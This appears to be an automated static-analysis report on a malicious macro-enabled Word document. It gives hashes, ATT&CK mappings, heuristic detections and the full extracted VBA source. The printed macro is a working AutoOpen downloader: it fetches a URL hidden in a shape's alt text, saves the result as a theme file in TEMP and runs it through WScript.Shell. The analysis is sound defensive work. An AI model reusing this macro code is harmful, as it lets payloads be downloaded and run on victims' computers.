Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6d8dd12ffb7ee93a…

MALICIOUS

Office (OOXML)

111.4 KB Created: 2020-08-06 11:00:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 361e7f9b5d1d1870f0c0e2c10c84ccd1 SHA-1: e49c404dcebfe5d29b1c830ba6274155577d7ca8 SHA-256: 6d8dd12ffb7ee93a6cd9f1051e17a1087d66f070cc534454fb04d9d8c33bb90c
338 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro uses WScript.Shell and CreateObject to download content from an external URL (likely specified in the document's alternative text or title, though not directly visible in the provided excerpt) and saves it as '%TEMP%\main.theme'. It then attempts to execute this downloaded file. The use of Shell() and WScript.Shell indicates a clear intent to download and execute a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Malware.Banshee-9757096-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Banshee-9757096-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function ca3c6e8a(dc9a9463)
Set f521da83 = CreateObject("wscript.shell")
Call f521da83.exec(dc9a9463)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function ca3c6e8a(dc9a9463)
Set f521da83 = CreateObject("wscript.shell")
Call f521da83.exec(dc9a9463)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "f70d86d6"
Sub AutoOpen()
Dim f0292d74 As New d4c9a040
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Function b987b075()
b987b075 = Environ("temp") & "\main.theme"
End Function
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack1\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1779 bytes
SHA-256: 3c80defcfa1a4ee450fa64705427ac09fd5de068c98260d470bcee4c84faa794
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "f70d86d6"
Sub AutoOpen()
Dim f0292d74 As New d4c9a040
Dim d3304e37 As String
d3304e37 = dc893645(ActiveDocument.Shapes(1).AlternativeText)
a4eac493 = f0292d74.fd0a2e8b(d3304e37)
e8f13c5f b987b075, a4eac493
f4f016f6 = f0292d74.ca3c6e8a(ba470f52 & " " & b987b075)
End Sub

Attribute VB_Name = "d76e6ce3"
Sub e8f13c5f(efa9d6df, e45a33c1)
Dim cc6494a4
cc6494a4 = FreeFile
Open efa9d6df For Output As #cc6494a4
Print #cc6494a4, f93d5f7d(e45a33c1)
Close #cc6494a4
End Sub
Function b987b075()
b987b075 = Environ("temp") & "\main.theme"
End Function
Function dc893645(fd2f419c)
'dc893645 = StrReverse(fd2f419c)
dc893645 = fd2f419c
End Function
Sub e6919a6f()
End Sub
Function f93d5f7d(e45a33c1)
f93d5f7d = StrConv(e45a33c1, 64)
End Function
Function ba470f52()
ba470f52 = dc893645(ActiveDocument.Shapes(1).Title)
End Function

Attribute VB_Name = "d4c9a040"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function fd0a2e8b(d214b5ae)
Dim c633c296 As Object
Set c633c296 = New MSXML2.XMLHTTP60
aaa = c633c296.Open("GET", d214b5ae, False)
c633c296.Send
fd0a2e8b = c633c296.responsebody
End Function
Function ca3c6e8a(dc9a9463)
Set f521da83 = CreateObject("wscript.shell")
Call f521da83.exec(dc9a9463)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: a5cba65917291b4038cae3bfbd9eab49b8f483da9af08862b6c9295b59006d55
Detection
ClamAV: Doc.Malware.Banshee-9757096-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.